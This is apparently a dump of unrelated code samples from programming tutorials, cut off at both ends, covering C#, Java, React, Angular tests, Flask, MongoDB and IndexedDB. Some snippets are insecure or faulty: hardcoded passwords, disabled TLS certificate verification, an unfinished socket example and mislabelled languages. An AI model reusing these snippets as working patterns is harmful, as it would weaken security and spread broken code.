    std::vector&lt;MyStruct&gt; v1{ {1, 1.0}, {2, 2.0} };
    std::vector&lt;MyStruct&gt; v2{ 2 };
    std::copy(v1.begin(), v1.end(), v2.begin()); // calls memmove()

    for (const auto&amp; o : v2)
    {
        std::cout &lt;&lt; "After v2 copy, n:" &lt;&lt; o.n &lt;&lt; ", d:" &lt;&lt; o.d &lt;&lt; std::endl;
    }
    std::vector&lt;MyStruct2&gt; v3{ { 1, 1.0, "Hello" },{ 2, 2.0, "World" } };
    std::vector&lt;MyStruct2&gt; v4{ 2 };
    std::copy(v3.begin(), v3.end(), v4.begin()); // Does not call memmove()

    for (const auto&amp; o : v4)
    {
        std::cout &lt;&lt; "After v4 copy, n:" &lt;&lt; o.n &lt;&lt; ", d:" &lt;&lt; o.d &lt;&lt; ", s:" &lt;&lt; o.s &lt;&lt; std::endl;
    }

    return 0;
}</pre>


<pre lang="C#">
public class MainPageViewModel : ViewModel
{
    private IStorageFile selectedMediaFile;

    public IStorageFile SelectedMediaFile
    {
        get { return selectedMediaFile; }
        private set
        {
            if (selectedMediaFile != value)
            {
                selectedMediaFile = value;

                RaisePropertyChanged();
            }
        }
    }
}</pre>


<pre lang="C#">
public class SetMediaSourceBehavior : Behavior&lt;MediaPlayerElement&gt;
{
    public StorageFile SourceFile

    {
        get { return (StorageFile)GetValue(SourceFileProperty); }
        set { SetValue(SourceFileProperty, value); }
    }

    public static readonly DependencyProperty SourceFileProperty =
        DependencyProperty.Register("SourceFile", typeof(StorageFile), 
            typeof(SetMediaSourceBehavior), new PropertyMetadata(null, OnSourceFileChanged));

    private static void OnSourceFileChanged(DependencyObject d, DependencyPropertyChangedEventArgs e)
    {
        if (d is SetMediaSourceBehavior setMediaSourceBehavior)
            setMediaSourceBehavior.UpdateSource(e.NewValue as IStorageFile);        
    }

    private void UpdateSource(IStorageFile storageFile)

    {
        AssociatedObject.Source = null;

        if (storageFile != null)
        {
            var mediaSource = MediaSource.CreateFromStorageFile(storageFile);

            AssociatedObject.Source = mediaSource;
        }
    }
}</pre>


<pre lang="XML">
&lt;MediaPlayerElement Width="640" Height="480"&gt;
    &lt;i:Interaction.Behaviors&gt;
        &lt;behaviors:SetMediaSourceBehavior SourceFile="{Binding SelectedMediaFile}" /&gt;
    &lt;/i:Interaction.Behaviors&gt;
&lt;/MediaPlayerElement&gt;</pre>


<pre lang="C#">
public interface IMediaPlayerAdapter
{
    /// &lt;summary&gt;
    /// Gets the information whether a MediaPlayer is injected into adapter
    /// &lt;/summary&gt;
    bool MediaPlayerAdapted { get; }

    /// &lt;summary&gt;
    /// Informs ViewModel whenever a MediaPlayer is injected into adapter
    /// &lt;/summary&gt;
    event EventHandler MediaPlayerAdaptedChanged;
        

    TimeSpan Position { get; }
        
    IObservable&lt;TimeSpan&gt; WhenPositionChanges { get; }

    double PlaybackRate { get; }

    IObservable&lt;double&gt; WhenPlaybackRateChanges { get; }

    //Using RX - IObservable to notify about state changes
    //Alternative approach would be to use plain events
    //event EventHandler PositionChanged;

    void Play();

    void Pause();        
}</pre>


<pre lang="C#">
public class InjectMediaPlayerBehavior : Behavior&lt;MediaPlayerElement&gt;
{
    public IMediaPlayerAdapterInjector MediaPlayerInjector
    {
        get { return (IMediaPlayerAdapterInjector)GetValue(MediaPlayerInjectorProperty); }
        set { SetValue(MediaPlayerInjectorProperty, value); }
    }

    public static readonly DependencyProperty MediaPlayerInjectorProperty =
        DependencyProperty.Register("MediaPlayerInjector", typeof(IMediaPlayerAdapterInjector), 
        typeof(InjectMediaPlayerBehavior), new PropertyMetadata(null, OnMediaPlayerInjectorChanged));

    private static void OnMediaPlayerInjectorChanged(DependencyObject d, 
                                      DependencyPropertyChangedEventArgs e)
    {
        var injectMediaPlayerBehavior = d as InjectMediaPlayerBehavior;

        if (injectMediaPlayerBehavior != null)
            injectMediaPlayerBehavior.TryToInjectMediaPlayer();
    }


    public MediaPlayer MediaPlayer
    {
        get { return (MediaPlayer)GetValue(MediaPlayerProperty); }
        set { SetValue(MediaPlayerProperty, value); }
    }

    public static readonly DependencyProperty MediaPlayerProperty =
        DependencyProperty.Register("MediaPlayer", typeof(MediaPlayer), 
          typeof(InjectMediaPlayerBehavior), new PropertyMetadata(null, OnMediaPlayerChanged));

    private static void OnMediaPlayerChanged(DependencyObject d, DependencyPropertyChangedEventArgs e)
    {
        var injectMediaPlayerBehavior = d as InjectMediaPlayerBehavior;

        if (injectMediaPlayerBehavior != null)
            injectMediaPlayerBehavior.TryToInjectMediaPlayer();
    }    

    protected override void OnAttached()
    {
        base.OnAttached();

        if (ReadLocalValue(MediaPlayerProperty) == DependencyProperty.UnsetValue)
            SetBindingOnLocalMediaPlayer();
    }

    private void SetBindingOnLocalMediaPlayer()
    {
        Binding mediaPlayerBinding = new Binding
        {
            Source = AssociatedObject,
            Mode = BindingMode.OneWay,
            Path = new PropertyPath(nameof(AssociatedObject.MediaPlayer))
        };

        BindingOperations.SetBinding(this, InjectMediaPlayerBehavior.MediaPlayerProperty, 
                mediaPlayerBinding);
    }

    private void TryToInjectMediaPlayer()
    {
        MediaPlayerInjector?.Adapt(MediaPlayer);
    }
}</pre>


<pre lang="XML">
&lt;MediaPlayerElement Width="640" Height="480"&gt;
    &lt;i:Interaction.Behaviors&gt;
        &lt;behaviors:SetMediaSourceBehavior SourceFile="{Binding SelectedMediaFile}" /&gt;
        &lt;behaviors:InjectMediaPlayerBehavior MediaPlayerInjector="{Binding MediaPlayerAdapter}"/&gt;
    &lt;/i:Interaction.Behaviors&gt;
&lt;/MediaPlayerElement&gt;</pre>


<pre lang="C#">
public class MediaPlayerViewModel : ViewModel
{
    private readonly IMediaPlayerAdapter mediaPlayerAdapter;

    public MediaPlayerViewModel(IMediaPlayerAdapter mediaPlayerAdapter)
    {
        this.mediaPlayerAdapter = mediaPlayerAdapter;
    }

    public IMediaPlayerAdapter MediaPlayerAdapter
    {
        get { return mediaPlayerAdapter; }
    }
}</pre>


<pre lang="C#">
// get default implementation of IPerson
// interface containing only propertys
// the default property implementation
// is the auto property
IPerson person = Core.Concretize&lt;IPerson&gt;();

person.FirstName = "Joe";

person.LastName = "Doe";

person.Age = 35;

person.Profession = "Astronaut";

// test that the properties have indeed been assigned. 
Console.WriteLine($"Name='{person.FirstName} {person.LastName}'; 
                  Age='{person.Age}'; Profession='{person.Profession}'"); </pre>


<pre lang="C#">
public class Person_Concretization : NoClass, IPerson, NoInterface
{
    public static Core TheCore { get; set; }
    #region Default Constructor
    public Person_Concretization ()
    {
    }
    #endregion Default Constructor

    #region Generated Properties
    public string FirstName
    {
        get;
        set;
    }
    public string LastName
    {
        get;
        set;
    }
    public int Age
    {
        get;
        set;
    }
    public string Profession
    {
        get;
        set;
    }
    #endregion Generated Properties
}</pre>


<pre lang="C#">
public class PersonImpl
{
    public string FirstName { get; set; }

    private string LastName { get; set; }

    private int Age { get; set; }

    private string TheProfession { get; set; }

    private string GetFullNameAndProfession()
    {
        return $"{FirstName} {LastName} - {TheProfession}";
    }
}  </pre>


<pre lang="C#">
#region create the generated type configuration object
// get the type configuration object. The class that it is going to generate
// will be called "MyPersonImplementation"
ITypeConfig typeConfig =
    Core.FindOrCreateTypeConfig&lt;IPerson, PersonImplementationWrapperInterface&gt;("MyPersonImplementation");

// allow access to non-public members of 
// PersonImplementationWrapperInterface.ThePersonImplementation object.
typeConfig.SetAllowNonPublicForAllMembers
(nameof(PersonImplementationWrapperInterface.ThePersonImplementation));

// map TheProfession property of the wrapped object
// into Profession property of the IPerson interface.
typeConfig.SetMemberMap
(
    nameof(PersonImplementationWrapperInterface.ThePersonImplementation),
    "TheProfession",
    nameof(IPerson.Profession)
);

// Signal that the configuration is completed, 
// after ConfigurationCompleted() method is called
// TypeConfig object for this class cannot be modified.
typeConfig.ConfigurationCompleted();
#endregion create the generated type configuration object

// get the instance of the generated type "MyPersonImplementation"
IPerson person = 
    Core.GetInstanceOfGeneratedType&lt;IPerson&gt;("MyPersonImplementation");


// set the properties
person.FirstName = "Joe";

person.LastName = "Doe";

person.Age = 35;

person.Profession = "Astronaut";

// test that the wrapped properties and the method work
Console.WriteLine($"Name/Profession='{person.GetFullNameAndProfession()}'; Age='{person.Age}'");</pre>


<pre lang="C#">
// we create an adaptor adapting ProductKind enumeration
// to IProduct interface using extension methods from the static 
// ProductKindExtensions class
Core.CreateEnumerationAdapter&lt;IProduct, ProductKind&gt;(typeof(ProductKindExtensions));

// enumeration value ProductKind.FinancialInstrument is converted into
// IProduct interface
IProduct product =
    Core.CreateEnumWrapper&lt;IProduct, ProductKind&gt;(ProductKind.FinancialInstrument);

// we test the methods of the resulting object that implements IProduct interface.
Console.WriteLine($"product: {product.GetDisplayName()}; Description: {product.GetDescription()}");</pre>




<pre lang="React">
        render()
        {
            return (
                &lt;div&gt;
                    &lt;h1&gt;Car Selection&lt;/h1&gt;
                    &lt;ListBox Items={this.state.carMakes}
                             valuePropertyName='id'
                             selectedValue={this.state.selectedMake}
                             placeholder='Please select a make...'
                             textPropertyName='name'
                             OnSelect={this.OnCarMakeSelect} /&gt;

                    &lt;ListBox Items={this.state.carModels}
                             selectedValue={this.state.selectedModel}
                             placeholder='Please select a model...'
                             OnSelect={this.OnCarModelSelect} /&gt;

                 &lt;/div&gt;
            );
        }</pre>


<pre lang="React">
        class ListBox extends React.Component
        {
            render() 
            {
                return (
                    &lt;div className="listBox"&gt;
                        &lt;select onChange={this.OnChange.bind(this)} ref='listBox'&gt;
                            &lt;option value="-1" disabled selected hidden&gt;{this.props.placeholder}&lt;/option&gt;
                            {this.props.Items.map((item, i) =&gt; 
                            &lt;ListBoxItem Item={{ 'Text': item[this.textPropertyName], 
                            'Value': item[this.valuePropertyName] }} /&gt;)}
                        &lt;/select&gt;
                    &lt;/div&gt;
                ); 
            }
        }</pre>


<pre lang="React">
        class ListBoxItem extends React.Component
        {
            render() 
            {
                return (
                        &lt;option key={this.props.Item.Value} 
                        value={this.props.Item.Value}&gt;{this.props.Item.Text}&lt;/option&gt;
                );
            }
        }</pre>


<pre lang="XML">
        &lt;ListBox Items={this.state.carMakes}
                 valuePropertyName='id'
                 selectedValue={this.state.selectedMake}
                 placeholder='Please select a make...'
                 textPropertyName='name'
                 OnSelect={this.OnCarMakeSelect} /&gt;

        &lt;ListBox Items={this.state.carModels}
                 selectedValue={this.state.selectedModel}
                 placeholder='Please select a model...'
                 OnSelect={this.OnCarModelSelect} /&gt;</pre>


<pre lang="JavaScript">
        OnCarMakeSelect(value, text)
        {
            this.setState({ selectedMake: value, carModels: GetCarModels(value), selectedModel: -1 });
        }

        OnCarModelSelect(value, text)
        {
            this.setState({ selectedModel: value });
        }</pre>


<pre lang="JavaScript">
        componentDidUpdate(nextProps, nextState)
        {
            var select = this.refs.listBox;
            if (select)
            {
                select.value = this.props.selectedValue;
                this.props.OnSelect(select.value);
            }
        }</pre>



<pre lang="C#">
private void Tokenize(string expression) {
    // place to accumulate digits
    string number = "";

    // loop by char through code
    foreach (char c in expression) {

        // operators can end tokens as well as being one
        if (IsOperator(c.ToString()) ||
            "()".Contains(c.ToString())) {

            if (number != "") {
                Tokens.Add(number);
                number = "";
            }
            Tokens.Add(c.ToString());
        }
        // spaces end numbers
        else if (c == ' ') {
            if (number != "") {
                Tokens.Add(number);
                number = "";
            }
        }
        // digits can combine, so store each one
        else if ("0123456789".Contains(c.ToString())) {
            number += c;
        }
        else {
                // barf if you encounter something not a digit,
                // space, or operator
                throw new ParseException(
                    "Unexpected character '" + c.ToString() + "'.");
        }
    }

    // add the last token if there is one
    if (number != "") {
        Tokens.Add(number);
    }

    return;
}</pre>





<pre lang="C#">
 private void Parse() {

      foreach (string token in Tokens) {
          if (IsOperator(token)) {
              PopOperators(token);
              OperatorStack.Push(token);
          }
          else if (token == "(") {
              // parens only go on stack temporarily, 
              // as they're not ops
              OperatorStack.Push(token);
          }
          else if (token == ")") {
              while (OperatorStack.Peek() != "(") {
                  Postfix.Add(OperatorStack.Pop());
              }
              OperatorStack.Pop();
          }
          else if (int.TryParse(token, out int throwaway)) {
              Postfix.Add(token);
          }
          else {
              throw new ParseException(
                  "Unrecognized token: " + token + ".");
          }
      }

      while (OperatorStack.Count &gt; 0) {
          Postfix.Add(OperatorStack.Pop());
      }
  }</pre>


<pre lang="C#">
private static bool GreaterPrecedence(Operator a, Operator b) {
    return (a.Precedence &gt; b.Precedence) ||
        ((a.Precedence == b.Precedence) &amp;&amp;
         (b.Associativity == Associativities.Left));
}

private void PopOperators(string token) {
    Operator cur = OperatorFromString(token);

    // if there are no operators, get out
    if (OperatorStack.Count == 0) {
        return;
    }

    try {
        for (Operator top = OperatorFromString(OperatorStack.Peek());
             (OperatorStack.Count &gt; 0 &amp;&amp; GreaterPrecedence(top, cur));
             top = OperatorFromString(OperatorStack.Peek())) {
            Postfix.Add(OperatorStack.Pop());
        }
    }
    catch (ParseException) {
        // it's a parenthesis, which can't be parsed as an operator
        return;
    }
}</pre>


<pre lang="JavaScript">
// create everything needed to start writing CIL
AppDomain domain = AppDomain.CurrentDomain;
AssemblyName name = new AssemblyName();
name.Name = "CalculatorExpression";
// make a run-only assembly (can't save as .exe)
AssemblyBuilder asm = domain.DefineDynamicAssembly(
    name, AssemblyBuilderAccess.Run);</pre>



<pre lang="C#">
            …
            default:
                throw new CompileException(
                    "Unknown operator: '" + token + "'.");
        }

    }
    else {
        // if the token's not an integer or an operator, 
        // barf appropriately
        if ("()".Contains(token)) {
            throw new CompileException("Unbalanced parentheses.");
        }
        else {
            throw new CompileException(
                "Unable to compile expression; unknown token '" +
                token + "'.");
        }
    }
}</pre>


<pre lang="C#">
class MainClass {

    private static string PromptExpression() {
        Console.WriteLine("Enter an integer arithmetic expression: ");
        return Console.ReadLine();
    }

    public static void Main(string[] args) {

        try {

            string expr;

            while ((expr = PromptExpression()) != "") {
                Program program = new Program(expr);
                program.Execute();
            }

        }
        catch (NullReferenceException) {
            // stdin EOF
            return;
        }
        catch (ParseException e) {
            Console.WriteLine(
                "Unparseable expression: " + e.Message);
        }
        catch (CompileException e) {
            Console.WriteLine(
                "Unable to compile expression: " + e.Message);
        }
    }
}</pre>



<pre lang="C#">
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading;
using System.Threading.Tasks;
using System.Web;

namespace GordonBeeming.ApiHelpers
{
    public static class AsyncHelpers
    {
        /// &lt;summary&gt;
        /// Execute's an async Task&lt;T&gt; method which has a void return value synchronously
        /// &lt;/summary&gt;
        /// &lt;param name="task"&gt;Task&lt;T&gt; method to execute&lt;/param&gt;
        public static void RunSync(Func&lt;Task&gt; task)
        {
            var oldContext = SynchronizationContext.Current;
            var synch = new ExclusiveSynchronizationContext();
            SynchronizationContext.SetSynchronizationContext(synch);
            synch.Post(async _ =&gt;
            {
                try
                {
                    await task();
                }
                catch (Exception e)
                {
                    synch.InnerException = e;
                    throw;
                }
                finally
                {
                    synch.EndMessageLoop();
                }
            }, null);
            synch.BeginMessageLoop();

            SynchronizationContext.SetSynchronizationContext(oldContext);
        }

        /// &lt;summary&gt;
        /// Execute's an async Task&lt;T&gt; method which has a T return type synchronously
        /// &lt;/summary&gt;
        /// &lt;typeparam name="T"&gt;Return Type&lt;/typeparam&gt;
        /// &lt;param name="task"&gt;Task&lt;T&gt; method to execute&lt;/param&gt;
        /// &lt;returns&gt;&lt;/returns&gt;
        public static T RunSync&lt;T&gt;(Func&lt;Task&lt;T&gt;&gt; task)
        {
            var oldContext = SynchronizationContext.Current;
            var synch = new ExclusiveSynchronizationContext();
            SynchronizationContext.SetSynchronizationContext(synch);
            T ret = default(T);
            synch.Post(async _ =&gt;
            {
                try
                {
                    ret = await task();
                }
                catch (Exception e)
                {
                    synch.InnerException = e;
                    throw;
                }
                finally
                {
                    synch.EndMessageLoop();
                }
            }, null);
            synch.BeginMessageLoop();
            SynchronizationContext.SetSynchronizationContext(oldContext);
            return ret;
        }

        private class ExclusiveSynchronizationContext : SynchronizationContext
        {
            private bool done;
            public Exception InnerException { get; set; }
            readonly AutoResetEvent workItemsWaiting = new AutoResetEvent(false);
            readonly Queue&lt;Tuple&lt;SendOrPostCallback, object&gt;&gt; items =
                new Queue&lt;Tuple&lt;SendOrPostCallback, object&gt;&gt;();

            public override void Send(SendOrPostCallback d, object state)
            {
                throw new NotSupportedException("We cannot send to our same thread");
            }

            public override void Post(SendOrPostCallback d, object state)
            {
                lock (items)
                {
                    items.Enqueue(Tuple.Create(d, state));
                }
                workItemsWaiting.Set();
            }

            public void EndMessageLoop()
            {
                Post(_ =&gt; done = true, null);
            }

            public void BeginMessageLoop()
            {
                while (!done)
                {
                    Tuple&lt;SendOrPostCallback, object&gt; task = null;
                    lock (items)
                    {
                        if (items.Count &gt; 0)
                        {
                            task = items.Dequeue();
                        }
                    }
                    if (task != null)
                    {
                        task.Item1(task.Item2);
                        if (InnerException != null) // the method threw an exception
                        {
                            throw new AggregateException
                            ("AsyncHelpers.Run method threw an exception.", InnerException);
                        }
                    }
                    else
                    {
                        workItemsWaiting.WaitOne();
                    }
                }
            }

            public override SynchronizationContext CreateCopy()
            {
                return this;
            }
        }
    }
}</pre>


<pre lang="C#">
using nologo.Chassis.Part.Identity;
using nologo.Common.Core;
using System;
using System.Linq;
using System.Net.Http;
using System.Threading.Tasks;
using System.Web.Http.Controllers;
using System.Web.Mvc;

namespace GordonBeeming.Attributes
{
    public class AuthorizeAsyncAttribute : AuthorizeAttribute
    {
        public override void OnAuthorization(AuthorizationContext filterContext)
        {
            AsyncHelpers.RunSync(() =&gt; OnAuthorizationAsync(filterContext));
        }

        public async Task OnAuthorizationAsync(AuthorizationContext filterContext)
        {
            var profile = await ProfileHelper.GetFromApi();
            
            // do something with profile
        }

        public int AllowedRole { get; set; }
        public int[] AllowedRoles { get; set; }
    }
}</pre>


<pre lang="C#">
[Flags]
public enum PizzaToppings
{
    None = 0,
    Mozzarella = 1,
    Pepperoni = 2,
    Anchovies = 4,
    Mushrooms = 8,
    Corn = 16
}

//...

PizzaToppings myFavs = PizzaToppings.Pepperoni | PizzaToppings.Anchovies;
Console.WriteLine(myFavs);</pre>


<pre lang="C#">
string s1 = &amp;quot;Anchovies&amp;quot;;
string s2 = &amp;quot;AnCHOviES&amp;quot;;

PizzaToppings pt1 = (PizzaToppings)Enum.Parse(typeof(PizzaToppings), s1);
PizzaToppings pt2 = (PizzaToppings)Enum.Parse(typeof(PizzaToppings), s2, ignoreCase: true);
PizzaToppings pt3 = (PizzaToppings)Enum.Parse(typeof(PizzaToppings), s2); // ArgumentException - 
                                                // by default the parsing does not ignore casing</pre>


<pre lang="C#">
switch(month) 
{
    case Month.January : 
        Console.WriteLine(&amp;quot;Cold, brrr....&amp;quot;); 
        break;
    case Month.February : 
        Console.WriteLine(&amp;quot;Still cold, brrr....&amp;quot;); 
        break;
// ...
}</pre>


<pre lang="Java">
public class Mood {
    private Mood() {
        throw new IllegalOperationException(); // prevent accidental instantiation even within the class
    }

    public static final int HAPPY = 0;
    public static final int BORED = 1;
    public static final int SAD = 2;
    public static final int ANGRY = 3;
    public static final int ECSTATIC = 4;
    public static final int SLEEPY = 5;
}</pre>


<pre lang="Java">
public enum Planet {
    MERCURY (3.303e+23, 2.4397e6),
    VENUS   (4.869e+24, 6.0518e6),
    EARTH   (5.976e+24, 6.37814e6),
    MARS    (6.421e+23, 3.3972e6),
    JUPITER (1.9e+27,   7.1492e7),
    SATURN  (5.688e+26, 6.0268e7),
    URANUS  (8.686e+25, 2.5559e7),
    NEPTUNE (1.024e+26, 2.4746e7),
    PLUTO   (1.27e+22,  1.137e6);

    private final double mass;   // in kilograms
    private final double radius; // in meters
    Planet(double mass, double radius) {
        this.mass = mass;
        this.radius = radius;
    }
    public double mass()   { return mass; }
    public double radius() { return radius; }

    // universal gravitational constant  (m3 kg-1 s-2)
    public static final double G = 6.67300E-11;

    public double surfaceGravity() {
        return G * mass / (radius * radius);
    }
    public double surfaceWeight(double otherMass) {
        return otherMass * surfaceGravity();
    }
}</pre>


<pre lang="Java">
// at member level
public enum Chores implements Runnable {
    TAKE_OUT_THE_TRASH {
        @Override
        public void run() { // ...
        }
    },
    DO_THE_LAUNDRY {
        @Override
        public void run() { // ...
        }
    }
}

public enum FunStuff implements Runnable {
    GO_OUT,
    VISIT_NEW_PLACES,
    // ...

    @Override
    public void run() { // ...
    }
}</pre>



<pre lang="JavaScript">
// Karma configuration file, see link for more information
// https://karma-runner.github.io/1.0/config/configuration-file.html

module.exports = function (config) {
  config.set({
    basePath: '',
    frameworks: ['jasmine', '@angular/cli'],
    plugins: [
      require('karma-jasmine'),
      require('karma-chrome-launcher'),
      require('karma-jasmine-html-reporter'),
      require('karma-coverage-istanbul-reporter'),
      require('@angular/cli/plugins/karma')
    ],
    client:{
      clearContext: false // leave Jasmine Spec Runner output visible in browser
    },
    coverageIstanbulReporter: {
      reports: [ 'html', 'lcovonly' ],
      fixWebpackSourcePaths: true
    },
    angularCli: {
      environment: 'dev'
    },
    reporters: ['progress', 'kjhtml'],
    port: 9876,
    colors: true,
    logLevel: config.LOG_INFO,
    autoWatch: true,
    browsers: ['Chrome'],
    singleRun: false
  });
};</pre>


<pre lang="JavaScript">
 beforeEach(() =&gt; {
    fixture = TestBed.createComponent(SignupComponent);
    component = fixture.componentInstance;
    
    /*Debug element */
    de = fixture.debugElement.query(By.css('h1'));
    /* H1 element */
    el = de.nativeElement;
   
    fixture.detectChanges();
  });</pre>


<pre lang="JavaScript">
it('should have a title', () =&gt; {
expect(el).toBeTruthy();
});

it('should display original title', () =&gt; {
  fixture.detectChanges();
  expect(el.textContent).toContain(comp.title);
});

it('should display a different test title', () =&gt; {
  comp.title = 'Test Title';
  fixture.detectChanges();
  expect(el.textContent).toContain('Test Title');
});</pre>





<pre lang="C#">
const string connectionString ="mongodb://ScramUser:ScramUserPwd@localhost";
var client = new MongoClient(connectionString);
IMongoDatabase database = client.GetDatabase("TestMongoDB");
IMongoCollection&lt;clubmember&gt; collection = database.GetCollection&lt;clubmember&gt;("CarClub");
 long count = collection.Count(new BsonDocument());</pre>






<pre lang="C#">
  const string connectionString = "mongodb://localhost";
  //For a server running on a domain named GEORGE-DELL and port 27025 use
  //const string connectionString = "mongodb://GEORGE-DELL:27025";
     var clientSettings = MongoClientSettings.FromUrl(new MongoUrl(connectionString));
         clientSettings.SslSettings = new SslSettings();
         clientSettings.UseSsl = true;
         clientSettings.SslSettings.ClientCertificates = new List&lt;x509certificate&gt;()
          {
       		 new X509Certificate2(@"C:\MongoDB\SSL\x509User.pfx", "x509UserPwd")
           };
            clientSettings.Credentials = new[]
            {
                MongoCredential.CreateMongoX509Credential(
              "C=GB,ST=NPT,L=London,O=x509User,OU=IT,CN=George-HP,emailAddress=myemail@myemail.com")
            };
            clientSettings.SslSettings.EnabledSslProtocols = SslProtocols.Tls12;
            clientSettings.SslSettings.CheckCertificateRevocation = false;
            clientSettings.VerifySslCertificate = false;

        var client = new MongoClient(clientSettings); </pre>


<pre lang="Java">
PacketProcessor.onAcStatusChange.add(new IPacketChange() {
  @Override
  public void notifyAlert(PacketV3 packet) {

    sendSMS(packet,"ac");
    sendEmail(packet,"ac");
  }
});

PacketProcessor.onEngineStatusChange.add(new IPacketChange() {
  @Override
  public void notifyAlert(PacketV3 packet) {

    sendSMS(packet,"engine");
    sendEmail(packet,"engine");
  }
});</pre>


<pre lang="Python">
from flask import Blueprint, request, jsonify
from redisworks import Root


root = Root
root.todo_list = {"item1": "This is a nice day", "item2": "Python is awesome"}
todo_api = Blueprint('todo', 'todo', url_prefix='/todos')


@todo_api.route('/', methods=['GET'])
def api_list():
    items = root.todo_list
    return jsonify(items)


@todo_api.route('/&lt;item_id&gt;', methods=['GET', 'DELETE', 'PUT'])
def api_item(item_id):
    if request.method == 'GET':
        return get_item(item_id)
    elif request.method == 'PUT':
        return put_item(item_id)
    else:
        delete_item(item_id)


def get_item(item_id):
    return root.todo_list[item_id]


def put_item(item_id):
    item = request.data
    root.todo_list[item_id] = item.decode('utf-8')
    return item, 201


def delete_item(item_id):
    root.todo_list.__delitem__(item_id)</pre>


<pre lang="C#">
int totalRecords = FileManager.GetTotalRecords();

List&lt;Context&gt; allContext = new List&lt;Context&gt;();

for(int i = 0; i&lt; totalRecords; i++ )

{

    // Create a related object for each class..

    allContext.Add(new Context(i));


}</pre>


<pre lang="C#">
try
{
     for (int i = 0; i &lt; 200; i++)
     {
         // new keyword under the loop
         aChunkOfData = new byte[104857600];
         dataBytes.Add(aChunkOfData);
     }
}

catch (System.OutOfMemoryException excep)
{
  Console.WriteLine("Out of Memory Exception Occurs.. Now preventing the resourcess");
}
</pre>


<pre lang="C#">
public class Program
{
static void Main(String[] args)
{
    byte[] globalData = new byte[1000];
   // call the function
    DoTheWork();
    for(int i=0; i&lt;globalData.length;i++)
    {
        byte aByte =(byte) (globalData[i]+1);
        SendData(aByte);        
    }
}
public static void DoTheWork()
{
    byte[] data  = new byte[100];    
    // work on data..
    for(int i =0; i&lt;data.length;i++)
    {
        byte aByte =(byte) (data[i]+1);
        SendData(aByte);
    }
}
}

</pre>


<pre lang="C#">
 

           List&lt;byte[]&gt; dataBytes = new List&lt;byte[]&gt;();

           byte[] aChunkOfData = new byte[104857600]; //100MB          

          Thread.Sleep(5000);           

               for (int i = 0; i &lt; 20; i++)
               {
                  // Create Memory Resources
                   aChunkOfData = new byte[104857600];

                   dataBytes.Add(aChunkOfData);

               }         

           // 5 seconds delay to show up on the graph
           Thread.Sleep(5000);

           for (int i = 0; i &lt; 20; i++)

           {

               aChunkOfData = new byte[104857600];


               dataBytes.Add(aChunkOfData);
           }

           Thread.Sleep(5000);
           for (int i = 0; i &lt; 40; i++)
           {
               aChunkOfData = new byte[104857600];

               dataBytes.Add(aChunkOfData);
           }

</pre>


<pre lang="C#">
 bool UserExited = false;
int chunkSize=1024;
IPAddress ipAddress = new System.Net.IPAddress(new byte[]{127,0,0,1});
int portAddress = 1060;

TcpClient client = new TcpClient(new IPEndPoint(ipAddress,portAddress));
client.Connect(new IPEndPoint(ipAddress, portAddress));
NetworkStream stream=  client.GetStream();
while (!UserExited)
{
if(client.Available&gt;0)
{
byte[] buffer = new byte[chunkSize];
stream.Read(buffer,0,chunkSize);

// transmit buffer..
stream.Close();</pre>


<pre lang="HTML">
&lt;!DOCTYPE html&gt;
&lt;html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"&gt;
&lt;head&gt;
  &lt;meta charset="UTF-8" /&gt;
  &lt;title&gt;CRUD Operations with IndexedDB - Part 1&lt;/title&gt;
  &lt;!-- Load the IndexedDB Promised library (see https://github.com/jakearchibald/idb) --&gt;
  &lt;script src="lib/idb.js"&gt;&lt;/script&gt;
  &lt;script&gt;
    var IDB = {
      dbName: "testDB",
      //------------------------------------------------
      <strong>createEmptyDB</strong>: function ( tableNames) {
      //------------------------------------------------
        return new Promise( function (resolve) {
          <strong>idb.open</strong>( IDB.dbName, 1, function (upgradeDb) {
            tableNames.forEach( function (tableName) {
              if (!upgradeDb.objectStoreNames.contains( tableName)) {
                upgradeDb.createObjectStore( tableName, {<strong>keyPath</strong>:"id"});
              }
            })
          }).then( resolve);
        });
      },</pre>


<pre lang="JavaScript">
      //------------------------------------------------
      <strong>add</strong>: function ( tableName, records) {
      //------------------------------------------------
        return new Promise( function (resolve, reject) {
          idb.open( IDB.dbName).then( function (idbCx) {  // idbCx is a DB connection
            var tx = idbCx.transaction( tableName, "readwrite");
            var os = tx.objectStore( tableName);
            // Promise.all takes a list of promises and resolves if all of them do
            return Promise.all( records.map( rec =&gt; {return <strong>os.add</strong>( rec);}))
                .then( function () {return tx.complete;});
          }).then( resolve)
          .catch( function (err) {
            reject( err);
          });
        });
      },</pre>


<pre lang="JavaScript">
      //------------------------------------------------
      <strong>clearDB</strong>: function () {
      //------------------------------------------------
        return new Promise( function (resolve) {
          idb.open( IDB.dbName).then( function (idbCx) {  // idbCx is a DB connection
            var tx = idbCx.transaction( idbCx.objectStoreNames, "readwrite");
            // Promise.all takes a list of promises and resolves if all of them do
            return Promise.all( Array.from( idbCx.objectStoreNames,
                osName =&gt; {return tx.objectStore( osName).<strong>clear</strong>();}))
                .then( function () {return tx.complete;});
          }).catch( function (err) {
            console.log( err);
          }).then( resolve);
        });
      }
    }</pre>


<pre lang="HTML">
    function <strong>createTestData </strong>() {
      IDB.add( "books", [
        {id: "006251587X", title: "Weaving the Web", year: 2000, edition: 2},
        {id: "0465026567", title: "Gödel, Escher, Bach", year: 1999},
        {id: "0465030793", title: "I Am a Strange Loop", year: 2008}
      ]);
    }
  &lt;/script&gt;
&lt;/head&gt;
&lt;body&gt;
 &lt;h1&gt;Working with IndexedDB&lt;/h1&gt;
 &lt;h2&gt;Creating and Clearing a Database&lt;/h2&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;button type="button" onclick="IDB.createEmptyDB(['books']).then
            ( createTestData())"&gt;Generate&lt;/button&gt; test data&lt;/li&gt;
    &lt;li&gt;&lt;button type="button" 
    onclick="IDB.clearDB()"&gt;Clear&lt;/button&gt; database&lt;/li&gt;
  &lt;/ul&gt;
&lt;/body&gt;
&lt;/html&gt;</pre>


<pre lang="XML">
&lt;Project Sdk="Microsoft.NET.Sdk"&gt;

  &lt;PropertyGroup&gt;
    &lt;TargetFramework&gt;netstandard2.0&lt;/TargetFramework&gt;
  &lt;/PropertyGroup&gt;

  &lt;ItemGroup&gt;
    &lt;PackageReference Include="Xamarin.Forms" Version="2.5.0.122203" /&gt;
  &lt;/ItemGroup&gt;

  &lt;ItemGroup&gt;
    &lt;PackageReference Update="NETStandard.Library" Version="2.0.1" /&gt;
  &lt;/ItemGroup&gt;

&lt;/Project&gt;</pre>


<pre lang="XML">
